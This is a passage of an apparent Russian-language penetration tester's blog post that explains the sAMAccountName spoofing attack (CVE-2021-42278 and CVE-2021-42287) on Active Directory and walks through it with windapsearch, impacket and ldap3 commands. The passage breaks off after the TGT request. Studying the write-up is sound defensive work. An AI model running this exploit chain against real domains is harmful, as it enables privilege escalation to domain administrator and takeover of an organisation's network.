{"id":388262,"date":"2024-06-29T07:50:19","date_gmt":"2024-06-29T07:50:19","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=388262"},"modified":"-0001-11-30T00:00:00","modified_gmt":"2024-06-29T07:50:19","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=388262","title":{"rendered":"<span>\u0421\u043f\u0443\u0444\u0438\u043d\u0433 sAMAccountName: \u043e\u0442 LowPriv \u0434\u043e \u0434\u043e\u043c\u0435\u043d \u0430\u0434\u043c\u0438\u043d\u0430 \u0437\u0430 \u0448\u0435\u0441\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w780q1\/getpro\/habr\/upload_files\/15d\/16a\/f0a\/15d16af0a8b96974f155c0768d1e271e.jpg\" width=\"717\" height=\"348\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/15d\/16a\/f0a\/15d16af0a8b96974f155c0768d1e271e.jpg\" data-blurred=\"true\"\/><figcaption><\/figcaption><\/figure>\n<p>\u0421\u0430\u043f, \u0425\u043e\u0431\u0440!<\/p>\n<p>\u0417\u043d\u0430\u0447\u0438\u0442\u0441\u044f, \u0441\u0438\u0434\u0438\u043c \u043c\u044b \u0441 \u043a\u043e\u043b\u043b\u0435\u0433\u043e\u0439 (\u043f\u043b\u0438\u0432\u0435\u0442, <a href=\"https:\/\/t.me\/Acrono\" rel=\"noopener noreferrer nofollow\">@Acrono<\/a>!) \u043d\u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0435 \u0443 \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430, \u0432\u043e\u0442\u043a\u043d\u0443\u0442\u044b\u0435 \u0432 \u0441\u043a\u043e\u043c\u043c\u0443\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u0440\u043e\u0437\u0435\u0442\u043a\u0438, \u0434\u0430 \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0438\u043c \u0441\u0432\u043e\u0438 \u0432\u043d\u0443\u0442\u0440\u044f\u043a\u0438. \u041f\u043e\u0432\u0441\u044e\u0434\u0443 \u044d\u0442\u0438 \u0432\u0430\u0448\u0438 802.1x, AppLocker-\u044b, PowerShell CLM-\u044b, LAPS-\u044b, \u0430\u0432\u0435\u0440\u044b \u043b\u044e\u0442\u0443\u044e\u0442, \u0431\u043b\u043e\u0447\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0437\u0430\u0432\u0435\u0442\u043d\u044b\u0439 \u0445\u0435\u043d\u0434\u043b \u043a lsass.exe, \u0432\u0441\u044f \u0438\u043d\u0444\u0440\u0430 \u043d\u0430 2019-\u0445 \u0441\u0435\u0440\u0432\u0430\u043a\u0430\u0445<s>, \u043d\u0435\u0431\u043e \u043d\u0430\u0434 \u0433\u043e\u043b\u043e\u0432\u043e\u0439 \u0446\u0432\u0435\u0442\u0430 \u044d\u043a\u0440\u0430\u043d\u0430 \u0442\u0435\u043b\u0435\u0432\u0438\u0437\u043e\u0440\u0430, \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u043c\u0435\u0440\u0442\u0432\u044b\u0439 \u043a\u0430\u043d\u0430\u043b<\/s>. \u0412 \u043e\u0431\u0449\u0435\u043c, \u0441\u0442\u0440\u0430\u0448\u043d\u044b\u0439 \u0441\u043e\u043d (\u044d\u0442\u0438\u0447\u043d\u043e\u0433\u043e) \u0445\u0430\u043a\u0435\u0440\u0430. \u0418 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f \u0432\u0441\u0435 \u044d\u0442\u043e \u0443\u0436\u0435 \u0442\u0440\u0435\u0442\u0438\u0439 \u0434\u0435\u043d\u044c. \u0411\u043b\u0430\u0433\u043e \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u0432\u0441\u0435 \u0431\u0443\u0434\u0435\u0442 \u043f\u043e-\u0434\u0440\u0443\u0433\u043e\u043c\u0443, \u0431\u043b\u0430\u0433\u043e \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u044f \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043b \u043f\u0440\u043e \u0441\u043f\u0443\u0444\u0438\u043d\u0433 sAMAccountName \u043f\u043e \u0434\u043e\u0440\u043e\u0433\u0435 \u0432 \u043e\u0444\u0438\u0441&#8230;<\/p>\n<p><a class=\"anchor\"><\/a><\/p>\n<h3>Intro<\/h3>\n<p>\u041d\u0430 \u0434\u043d\u044f\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0427\u0430\u0440\u043b\u0438 \u041a\u043b\u0430\u0440\u043a (<a href=\"https:\/\/twitter.com\/exploitph\" rel=\"noopener noreferrer nofollow\">@exploitph<\/a>, \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0441\u0432\u043e\u0438\u043c <a href=\"https:\/\/github.com\/ZeroDayLab\/PowerSploit\/blob\/master\/Recon\/PowerView.ps1\" rel=\"noopener noreferrer nofollow\">\u0444\u043e\u0440\u043a\u043e\u043c<\/a> PowerView) <a href=\"https:\/\/exploit.ph\/cve-2021-42287-cve-2021-42278-weaponisation.html\" rel=\"noopener noreferrer nofollow\">\u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b<\/a> \u0441\u0432\u0435\u0436\u0438\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u0434\u043e\u043c\u0435\u043d\u0435 Active Directory, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 <a href=\"https:\/\/support.microsoft.com\/en-us\/topic\/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e\" rel=\"noopener noreferrer nofollow\">CVE-2021-42287<\/a> \u0438 <a href=\"https:\/\/support.microsoft.com\/en-us\/topic\/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041\" rel=\"noopener noreferrer nofollow\">CVE-2021-42278<\/a>. \u041f\u0430\u0447\u043a\u0430 CVE, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u044d\u0442\u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u043a\u0440\u0443\u0442\u0438\u0442\u0441\u044f \u0432 \u0442\u0432\u0438\u0442\u0442\u0435\u0440\u0430\u0445 \u0443\u0436\u0435 \u043e\u043a\u043e\u043b\u043e \u043c\u0435\u0441\u044f\u0446\u0430 \u0438 \u0431\u044b\u043b\u0430 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u00ab\u043c\u0435\u043b\u043a\u043e\u043c\u044f\u0433\u043a\u0438\u043c\u0438\u00bb \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043d\u043e\u044f\u0431\u0440\u044c\u0441\u043a\u043e\u0433\u043e Patch Tuesday. \u041d\u043e, \u043a\u0430\u043a \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u043a\u0442\u043e \u043d\u0435 \u0443\u0441\u043f\u0435\u043b, \u0442\u043e\u0442 \u043e\u043f\u043e\u0437\u0434\u0430\u043b, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043e\u043c\u0435\u043d \u0430\u0434\u043c\u0438\u043d\u0430 \u043c\u044b \u0441 Acrono \u0432\u0441\u0435 \u0436\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438. \u0414\u0430\u043b\u0435\u0435 \u0440\u0430\u0441\u0441\u043a\u0430\u0436\u0443 (\u0438 \u043f\u043e\u043a\u0430\u0436\u0443), \u043a\u0430\u043a \u044d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442\u0441\u044f, \u043d\u043e \u0434\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0442\u0435\u043e\u0440\u0438\u0438.<\/p>\n<h3>\u041f\u0440\u0435\u0434\u044b\u0441\u0442\u043e\u0440\u0438\u044f<\/h3>\n<h4>CVE-2021-42278<\/h4>\n<p>\u041a\u0430\u043a \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b Active Directory \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0430 <code>$<\/code> \u0432 \u043a\u043e\u043d\u0446\u0435 \u0438\u043c\u0435\u043d\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0433\u043e \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430, \u0445\u043e\u0442\u044f \u0432\u0441\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0435 \u0438\u043c\u0435\u043d\u0430 \u043e\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0438\u043c\u0435\u043d\u043d\u043e \u0438\u043c. \u042d\u0442\u043e\u0442 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u00ab\u043d\u0435 \u0431\u0430\u0433, \u0430 \u0444\u0438\u0447\u0430\u00bb \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u043f\u043e\u043b\u043d\u0435 \u0441\u0435\u0431\u0435 <strong>\u0431\u043e\u043b\u044c\u0448\u0438\u043c<\/strong> \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\u043c \u0432 \u0441\u0432\u044f\u0437\u043a\u0435 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e CVE-2021-42287.<\/p>\n<h4>CVE-2021-42287<\/h4>\n<p>\u041a\u043e\u0433\u0434\u0430 \u043a\u043b\u0438\u0435\u043d\u0442 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 \u0442\u0438\u043a\u0435\u0442 TGS, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0441\u043f\u0435\u0440\u0432\u0430 \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u0432 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0438\u043c (\u043a\u043b\u0438\u0435\u043d\u0442\u043e\u043c) TGT. \u0412 \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 KDC \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u0441\u0440\u0435\u0434\u0438 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u0434\u043e\u043c\u0435\u043d\u0430 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u0441 \u0438\u043c\u0435\u043d\u0435\u043c, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u043c \u0432 TGT, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0442\u0443\u043f\u043e \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u0438\u043c\u0432\u043e\u043b <code>$<\/code> \u043a \u044d\u0442\u043e\u043c\u0443 \u0438\u043c\u0435\u043d\u0438 \u0438 \u0448\u0438\u0444\u0440\u0443\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0439 TGS \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u043b\u044e\u0447\u0430 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u00ab\u0438\u043c\u044f$\u00bb.<\/p>\n<h4>\u0418 \u0447\u043e \u0434\u0430\u043b\u044c\u0448\u0435?<\/h4>\n<p>\u0410 \u0447\u0442\u043e \u0435\u0441\u043b\u0438 \u043c\u044b \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u0443\u0435\u043c \u043a\u0430\u043a\u043e\u0439-\u043d\u0438\u0431\u0443\u0434\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0432 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0434\u043e\u043c\u0435\u043d\u0430, \u0437\u0430\u043f\u0440\u043e\u0441\u0438\u043c \u0434\u043b\u044f \u043d\u0435\u0433\u043e TGT, \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u0443\u0435\u043c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u043e\u0431\u0440\u0430\u0442\u043d\u043e (\u043d\u0435\u0432\u0430\u0436\u043d\u043e, \u0432 \u043a\u0430\u043a\u043e\u0435 \u0438\u043c\u044f) \u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u044d\u0442\u043e\u0433\u043e TGT \u0437\u0430\u043f\u0440\u043e\u0441\u0438\u043c TGS \u043d\u0430 \u043a\u0430\u043a\u0443\u044e-\u043b\u0438\u0431\u043e \u0441\u043b\u0443\u0436\u0431\u0443 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, LDAP) \u044d\u0442\u043e\u0433\u043e, \u043d\u044b\u043d\u0435 \u0443\u0436\u0435 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e, \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430? \u041d\u0435\u0443\u0436\u0435\u043b\u0438 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0431\u0438\u043b\u0435\u0442, \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u043c \u0434\u043e\u043c\u0435\u043d\u0430, \u043d\u0430 \u0441\u0430\u043c\u043e\u0433\u043e \u0441\u0435\u0431\u044f? \u0414\u0430 \u043d\u0435, \u0431\u0440\u0435\u0434, \u0431\u044b\u0442\u044c \u0442\u0430\u043a\u043e\u0433\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442&#8230; \u0412\u0435\u0434\u044c \u0442\u0430\u043a?<\/p>\n<h3>\u041f\u0440\u0430\u043a\u0442\u0438\u043a\u0430<\/h3>\n<p>\u041d\u0435\u0442, \u043d\u0435 \u0442\u0430\u043a. \u0412\u0441\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u043e\u0447\u043d\u043e, \u043a\u0430\u043a \u043c\u044b \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043b\u0438. \u041f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u043c \u044d\u0442\u043e. \u0422\u0430\u043a \u043a\u0430\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 Windows-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f <a href=\"https:\/\/github.com\/Kevin-Robertson\/Powermad\" rel=\"noopener noreferrer nofollow\">Powermad<\/a>, <a href=\"https:\/\/github.com\/PowerShellMafia\/PowerSploit\/blob\/dev\/Recon\/PowerView.ps1\" rel=\"noopener noreferrer nofollow\">PowerView<\/a> \u0438 <a href=\"https:\/\/github.com\/GhostPack\/Rubeus\" rel=\"noopener noreferrer nofollow\">Rubeus<\/a>, \u0443\u0436\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0430 \u0430\u0432\u0442\u043e\u0440\u043e\u043c \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u044f \u0441\u0434\u0435\u043b\u0430\u044e \u044d\u0442\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0441 Linux-\u043c\u0430\u0448\u0438\u043d\u044b. \u0412 \u044d\u0442\u043e\u043c \u043d\u0430\u043c \u043f\u043e\u043c\u043e\u0436\u0435\u0442 Python \u0438 \u043c\u043e\u0433\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\" rel=\"noopener noreferrer nofollow\">impacket<\/a>.<\/p>\n<h4>0. ms-DS-MachineAccountQuota<\/h4>\n<p>\u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443. \u042d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u043a\u0440\u0443\u0442\u0438\u0442\u044c \u043b\u044e\u0431\u043e\u0439 \u0434\u043e\u043c\u0435\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u0440\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u0438, \u0447\u0442\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 <a href=\"https:\/\/docs.microsoft.com\/ru-ru\/windows\/win32\/adschema\/a-ms-ds-machineaccountquota\" rel=\"noopener noreferrer nofollow\">ms-DS-MachineAccountQuota<\/a> \u0432 \u0434\u043e\u043c\u0435\u043d\u0435 AD \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0443\u043b\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u044d\u0442\u043e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/github.com\/ropnop\/go-windapsearch\" rel=\"noopener noreferrer nofollow\">go-windapsearch<\/a>:<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<p><code>windapsearch --dc 172.22.0.2 -d tinycorp.net -u j.doe -p 'P@$$w0rd' -m custom --filter '(&amp;(objectClass=domain)(distinguishedName=DC=tinycorp,DC=net))' --attrs ms-ds-machineAccountQuota<\/code><\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/e09\/5e4\/00d\/e095e400d85ddbf9b4893b25ee65d0a7.png\" alt=\"\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 ms-DS-MachineAccountQuota\" title=\"\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 ms-DS-MachineAccountQuota\" width=\"960\" height=\"90\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/e09\/5e4\/00d\/e095e400d85ddbf9b4893b25ee65d0a7.png\"\/><figcaption>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 ms-DS-MachineAccountQuota<\/figcaption><\/figure>\n<h4>1. addcomputer.py<\/h4>\n<p>\u0414\u0430\u043b\u0435\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0423\u0417 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/addcomputer.py\" rel=\"noopener noreferrer nofollow\">addcomputer.py<\/a>:<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<p><code>addcomputer.py -computer-name FromRussiaWithLove -computer-pass 'Passw0rd!' -dc-ip 172.22.0.2 -dc-host DC01.tinycorp.net tinycorp.net\/j.doe:'P@$$w0rd'<\/code><\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/4f8\/b96\/060\/4f8b960605e16c35f38cc28f57e7e079.png\" alt=\"\u0414\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u043d\u043e\u0432\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443\" title=\"\u0414\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u043d\u043e\u0432\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443\" width=\"960\" height=\"108\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/4f8\/b96\/060\/4f8b960605e16c35f38cc28f57e7e079.png\"\/><figcaption>\u0414\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u043d\u043e\u0432\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443<\/figcaption><\/figure>\n<h4>2. renameMachine.py (1)<\/h4>\n<p>\u0423\u0441\u043f\u0435\u0448\u043d\u043e. \u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0434\u0432\u0430 \u0448\u0430\u0433\u0430 \u2013 \u0443\u0431\u0438\u0442\u044c SPN-\u044b, \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u0431\u044b\u043b\u043e \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442\u043e\u0432 \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u043c\u0430\u0448\u0438\u043d\u044b, \u0438, \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0441\u0430\u043c \u0440\u0435\u043d\u0435\u0439\u043c. \u0417\u0434\u0435\u0441\u044c \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0437\u0430\u043c\u0430\u0440\u0430\u0442\u044c \u0440\u0443\u043a\u0438 \u0438 <s>\u0441\u043a\u043e\u043f\u0438\u043f\u0430\u0441\u0442\u0438\u0442\u044c<\/s> \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043f\u0430\u0440\u0443 \u0441\u0442\u0440\u043e\u043a \u043a\u043e\u0434\u0430. \u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e, <a href=\"https:\/\/github.com\/cannatag\/ldap3\" rel=\"noopener noreferrer nofollow\">ldap3<\/a> \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u0435\u0433\u043a\u043e \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 LDAP. \u0412 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u044d\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432 \u0434\u0432\u0435 \u0441\u0442\u0440\u043e\u043a\u0438:<\/p>\n<pre><code class=\"python\">ldap_session.modify(&lt;MACHINE_DN_OBJ>, {'servicePrincipalName': [ldap3.MODIFY_REPLACE, []]}) ldap_session.modify(&lt;MACHINE_DN_OBJ>, {'sAMAccountName': [ldap3.MODIFY_REPLACE, ['&lt;NEW_NAME>']]})']])<\/code><\/pre>\n<p>\u041d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u043a\u043e\u043b\u0435\u043d\u043a\u0435 \u0441\u043a\u0440\u0438\u043f\u0442 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0434\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c <a href=\"https:\/\/gist.github.com\/snovvcrash\/3bf1a771ea6b376d374facffa9e43383\" rel=\"noopener noreferrer nofollow\">\u0442\u0443\u0442\u044c<\/a>.<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<p><code>.\/renameMachine.py tinycorp.net\/j.doe:'P@$$w0rd' -dc-ip 172.22.0.2 -current-name 'FromRussiaWithLove$' -new-name DC01<\/code><\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/fac\/7fd\/f01\/fac7fdf01bc00f189aabbf615ac16702.png\" alt=\"\u0423\u0431\u0438\u0432\u0430\u0435\u043c SPN-\u044b \u0438 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443 \u0432 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0434\u043e\u043c\u0435\u043d\u0430\" title=\"\u0423\u0431\u0438\u0432\u0430\u0435\u043c SPN-\u044b \u0438 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443 \u0432 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0434\u043e\u043c\u0435\u043d\u0430\" width=\"960\" height=\"108\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/fac\/7fd\/f01\/fac7fdf01bc00f189aabbf615ac16702.png\"\/><figcaption>\u0423\u0431\u0438\u0432\u0430\u0435\u043c SPN-\u044b \u0438 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443 \u0432 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0434\u043e\u043c\u0435\u043d\u0430<\/figcaption><\/figure>\n<h4>3. getTGT.py<\/h4>\n<p>\u0427\u0442\u043e \u0443 \u043d\u0430\u0441 \u0434\u0430\u043b\u044c\u0448\u0435 \u043f\u043e \u043f\u043b\u0430\u043d\u0443? \u0412\u0435\u0440\u043d\u043e \u2013 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c TGT \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/getTGT.py\" rel=\"noopener noreferrer nofollow\">getTGT.py<\/a>:<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<p><code>getTGT.py tinycorp.net\/DC01:'Passw0rd!' -dc-ip 172.22.0.2<\/code><\/p>\n<\/div>\n<\/details>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/098\/234\/9e9\/0982349e9d8f679a9c2669ee32b1c9ae.png\" alt=\"\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c TGT \u0434\u043b\u044f \u0423\u0417 \u0441 \u0437\u0430\u0441\u043f\u0443\u0444\u0430\u043d\u043d\u044b\u043c sAMAccountName\" title=\"\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c TGT \u0434\u043b\u044f \u0423\u0417 \u0441 